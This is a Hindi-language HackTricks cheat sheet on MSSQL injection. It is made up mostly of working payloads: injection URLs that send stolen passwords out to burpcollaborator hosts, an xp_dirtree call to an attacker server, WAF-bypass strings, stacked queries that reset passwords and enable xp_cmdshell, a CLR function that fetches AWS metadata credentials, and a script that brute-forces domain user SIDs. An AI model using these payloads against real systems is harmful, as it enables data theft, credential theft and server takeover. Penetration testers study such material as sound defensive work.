21 KiB
MSSQL इंजेक्शन
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs का संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर मुझे 🐦 @carlospolopm का अनुसरण करें.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
Active Directory एन्युमरेशन
MSSQL सर्वर के अंदर SQL इंजेक्शन के माध्यम से डोमेन यूजर्स का एन्युमरेशन संभव हो सकता है, निम्नलिखित MSSQL फंक्शन्स का उपयोग करके:
SELECT DEFAULT_DOMAIN()
: वर्तमान डोमेन नाम प्राप्त करें.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: यदि आप डोमेन का नाम जानते हैं (DOMAIN इस उदाहरण में) तो यह फंक्शन यूजर Administrator का SID हेक्स फॉर्मेट में लौटाएगा. यह दिखेगा0x01050000000[...]0000f401
, ध्यान दें कि अंतिम 4 बाइट्स नंबर 500 हैं big endian फॉर्मेट में, जो कि यूजर एडमिनिस्ट्रेटर का सामान्य ID है.
यह फंक्शन आपको डोमेन का ID जानने में मदद करेगा (अंतिम 4 बाइट्स को छोड़कर).SUSER_SNAME(0x01050000000[...]0000e803)
: यह फंक्शन इंडिकेटेड ID का यूजरनेम लौटाएगा (यदि कोई हो), इस मामले में 0000e803 big endian में == 1000 (आमतौर पर यह पहले नियमित यूजर ID का होता है). फिर आप कल्पना कर सकते हैं कि आप 1000 से 2000 तक यूजर IDs को ब्रूट-फोर्स कर सकते हैं और शायद डोमेन के सभी यूजर्स के यूजरनेम प्राप्त कर सकते हैं. उदाहरण के लिए निम्नलिखित फंक्शन का उपयोग करके:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
वैकल्पिक त्रुटि-आधारित वेक्टर्स
त्रुटि-आधारित SQL इंजेक्शन आमतौर पर +AND+1=@@version--
जैसे निर्माणों के समान दिखते हैं और «OR» ऑपरेटर पर आधारित विविधताएं होती हैं। ऐसे एक्सप्रेशन वाली क्वेरीज़ को आमतौर पर WAFs द्वारा ब्लॉक किया जाता है। एक बाईपास के रूप में, %2b कैरेक्टर का उपयोग करके एक स्ट्रिंग को विशिष्ट फंक्शन कॉल्स के परिणाम के साथ जोड़ें जो वांछित डेटा पर डेटा प्रकार परिवर्तन त्रुटि को ट्रिगर करते हैं।
ऐसे फंक्शन्स के कुछ उदाहरण:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
फंक्शन USER_NAME()
का उदाहरण उपयोग:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
fn_xe_file_target_read_file
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
अनुमतियाँ: सर्वर पर VIEW SERVER STATE
अनुमति की आवश्यकता है।
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
अनुमतियाँ: CONTROL SERVER
अनुमति की आवश्यकता है।
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettable
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
अनुमतियाँ: CONTROL SERVER
अनुमति की आवश्यकता है।
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
MSSQL का उपयोग करते हुए आपको जो सबसे आम तरीका नेटवर्क कॉल के लिए मिलेगा वह है Stored Procedure xp_dirtree
का उपयोग, जो अजीब तरह से Microsoft द्वारा अनदस्तावेजित है, जिसके कारण इसे इंटरनेट पर अन्य लोगों द्वारा दस्तावेज किया गया। इस मेथड का उपयोग कई उदाहरणों में Out of Band Data exfiltration पोस्ट्स में किया गया है जो इंटरनेट पर हैं।
मूल रूप से,
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
MySQL के LOAD_FILE
की तरह, आप xp_dirtree
का उपयोग करके केवल TCP पोर्ट 445 पर नेटवर्क अनुरोध कर सकते हैं। आप पोर्ट नंबर को नियंत्रित नहीं कर सकते, लेकिन नेटवर्क शेयर्स से जानकारी पढ़ सकते हैं।
PS: यह Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
पर काम नहीं करता है जो कि Windows Server 2016 Datacenter
पर डिफ़ॉल्ट कॉन्फ़िग में चल रहा हो।
इसके अलावा अन्य संग्रहित प्रक्रियाएं हैं जैसे कि master..xp_fileexist
या xp_subdirs
जिनका उपयोग समान परिणामों के लिए किया जा सकता है।
xp_cmdshell
स्पष्ट रूप से आप xp_cmdshell
का उपयोग करके कुछ निष्पादित कर सकते हैं जो कि SSRF को ट्रिगर करता है। अधिक जानकारी के लिए प्रासंगिक अनुभाग पढ़ें:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
MSSQL User Defined Function - SQLHttp
यह काफी सरल है कि एक CLR UDF (Common Language Runtime User Defined Function - किसी भी .NET भाषा में लिखित कोड जो कि एक DLL में संकलित होता है) लिखें और MSSQL में कस्टम फंक्शन्स के लिए इसे लोड करें। हालांकि, इसके लिए dbo
एक्सेस की आवश्यकता होती है इसलिए यह तब तक काम नहीं कर सकता जब तक कि वेब एप्लिकेशन डेटाबेस से sa
या एक एडमिनिस्ट्रेटर रोल के रूप में कनेक्ट न हो।
इस Github रेपो में Visual Studio प्रोजेक्ट और इंस्टॉलेशन निर्देश हैं जो MSSQL में CLR असेंबली के रूप में बाइनरी को लोड करने और फिर MSSQL के भीतर से HTTP GET अनुरोधों को आमंत्रित करने के लिए हैं।
http.cs
कोड WebClient
क्लास का उपयोग करके GET अनुरोध करता है और निर्दिष्ट सामग्री को प्राप्त करता है
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
स्थापना निर्देशों में, CREATE ASSEMBLY
क्वेरी से पहले निम्नलिखित चलाएं ताकि असेंबली के SHA512 हैश को सर्वर पर विश्वसनीय असेंबलीज़ की सूची में जोड़ा जा सके (आप सूची को select * from sys.trusted_assemblies;
का उपयोग करके देख सकते हैं)
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
एक बार असेंबली जोड़ दी जाती है और फंक्शन बना लिया जाता है, हम निम्नलिखित को चलाकर हमारे HTTP अनुरोध कर सकते हैं
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
त्वरित शोषण: एक क्वेरी में पूरी तालिका प्राप्त करें
एक क्वेरी में एक तालिका की पूरी सामग्री को प्राप्त करने के दो सरल तरीके हैं — FOR XML या FOR JSON खंड का उपयोग। FOR XML खंड को एक निर्दिष्ट मोड की आवश्यकता होती है जैसे कि «raw», इसलिए संक्षिप्तता के मामले में FOR JSON इसे प्रदर्शन में मात देता है।
वर्तमान डेटाबेस से स्कीमा, तालिकाएं और कॉलम प्राप्त करने के लिए क्वेरी:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
Error-based वेक्टर्स को एक उपनाम या नाम की आवश्यकता होती है, क्योंकि बिना इनके अभिव्यक्तियों का परिणाम JSON के रूप में स्वरूपित नहीं किया जा सकता।
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
वर्तमान क्वेरी प्राप्त करना
वर्तमान SQL क्वेरी जो निष्पादित हो रही है, sys.dm_exec_requests
और sys.dm_exec_sql_text
से प्राप्त की जा सकती है:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
अनुमतियाँ: यदि उपयोगकर्ता के पास सर्वर पर VIEW SERVER STATE अनुमति है, तो उपयोगकर्ता SQL Server के उदाहरण पर सभी क्रियान्वित सत्रों को देखेगा; अन्यथा, उपयोगकर्ता केवल वर्तमान सत्र को देखेगा।
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
WAF बायपास के लिए छोटी चालें
गैर-मानक सफेद स्थान वर्ण: %C2%85 या %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
यूनियन को अस्पष्ट करने के लिए वैज्ञानिक (0e) और हेक्स (0x) नोटेशन:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
FROM के बाद कॉलम नाम के बीच में व्हाइटस्पेस की जगह पीरियड:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
SELECT और एक फेंकने योग्य कॉलम के बीच \N विभाजक:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
WAF को अपरंपरागत स्टैक्ड क्वेरीज़ के साथ बायपास करना
इस ब्लॉग पोस्ट के अनुसार, MSSQL में ";" का उपयोग किए बिना क्वेरीज़ को स्टैक करना संभव है:
उदाहरण के लिए, एकाधिक क्वेरीज़ जैसे कि:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
को कम किया जा सकता है:
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
इसलिए यह संभव हो सकता है कि विभिन्न WAFs को बायपास किया जा सके जो इस प्रकार के क्वेरीज़ को स्टैक करने को नहीं मानते हैं। उदाहरण के लिए:
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
संदर्भ
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सदस्यता योजनाएँ देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord समूह में शामिल हों या telegram समूह में या Twitter पर मुझे 🐦 @carlospolopm का अनुसरण करें.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.